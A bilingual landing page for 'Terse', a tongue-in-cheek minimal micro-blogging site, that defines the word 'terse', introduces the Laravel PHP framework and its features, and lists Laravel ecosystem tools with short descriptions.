La piattaforma di micro-blogging per chi ha davvero poco da dire!

Paolo Rizzello

Back-end Expert

Fabio D'Urso

Front-end Expert

Terse non è un social dove si pubblicano foto o video. Non è neanche un social dove si socializza più di tanto.

È la piattaforma di micro-blogging più minimale che ci sia!!

Terse means brief, or using very few words. If your teacher tells you to make your writing in your essay style terse and to the point, he's saying use as few words as you can and be simple and clear.

A terse reply or command may seem rude or unfriendly-but the word *terse* itself doesn't mean unfriendly or rude. Synonyms are succinct or concise, though these words have a more positive tone. The adjective *terse* is from Latin *tersus* "clean, neat," from *tergere* "to rub off, wipe, polish." Polished language is neatly concise.

by

Laravel

Laravel è un framework open-source, nato nel 2011, basato su PHP.
Ad oggi è probabilmente il framework php più utilizzato!

Puoi creare applicazioni full-stack robuste in PHP utilizzando Laravel e Livewire. Se ti piace JavaScript, puoi creare il frontend con React o Vue abbinando Laravel a Inertia. In alternativa, Laravel può essere utilizzato come un robusto backend API per le tue applicazioni Next.js, mobile o altri framework di frontend.

Funzionalità

-  **Modelli Eloquent ORM:** un sistema di modelli basato su OOP che semplifica la gestione dei dati.
-  **Routes:** definisce le rotte per le tue applicazioni web e controlla il flusso delle richieste.
-  **Blade templating engine:** un motore di template che offre una sintassi semplice e potente per la creazione di pagine web.
-  **Migrations:** un sistema di gestione delle versioni del database che facilita la gestione dei cambiamenti nel database.
-  **Artisan CLI:** una linea di comando per automatizzare molte attività di sviluppo, come la creazione di modelli e controller.

Breeze
Lightweight starter kit scaffolding for new applications with Blade or Inertia.

Cashier
Take the pain out of managing subscriptions on Stripe or Paddle.

Dusk
Automated browser testing to ship your application with confidence.

Echo
Description

Envoyer
Deploy your Laravel applications to customers with zero downtime.

Forge
Provision and deploy unlimited PHP applications on DigitalOcean, Linode, Vultr, Amazon, etc...

Horizon
Beautiful UI for monitoring your Redis driven Laravel queues.

Jetstream
Robust starter kit including authentication and team management.

Nova
Thoughtfully designed administration panel for your Laravel applications.

Octane
Supercharge your application's performance by keeping it in memory.

Pint
Opinionated PHP code style fixer for minimalists.

Sail
Hand-crafted Laravel local development experience using Docker.

Sanctum
API and mobile application authentication without wanting to pull your hair out.

Scout
Lightning fast full-text search for your application's Eloquent models.

Socialite
Social authentication via Facebook, Twitter, GitHub, LinkedIn, and more.

Spark
Launch your next business with our fully-featured, drop-in billing portal.

Telescope
Debug your application using our debugging and insight UI.

Valet
The fastest Laravel local development experience - exclusively for macOS.

Vapor
Serverless deployment platform for Laravel, powered by AWS.
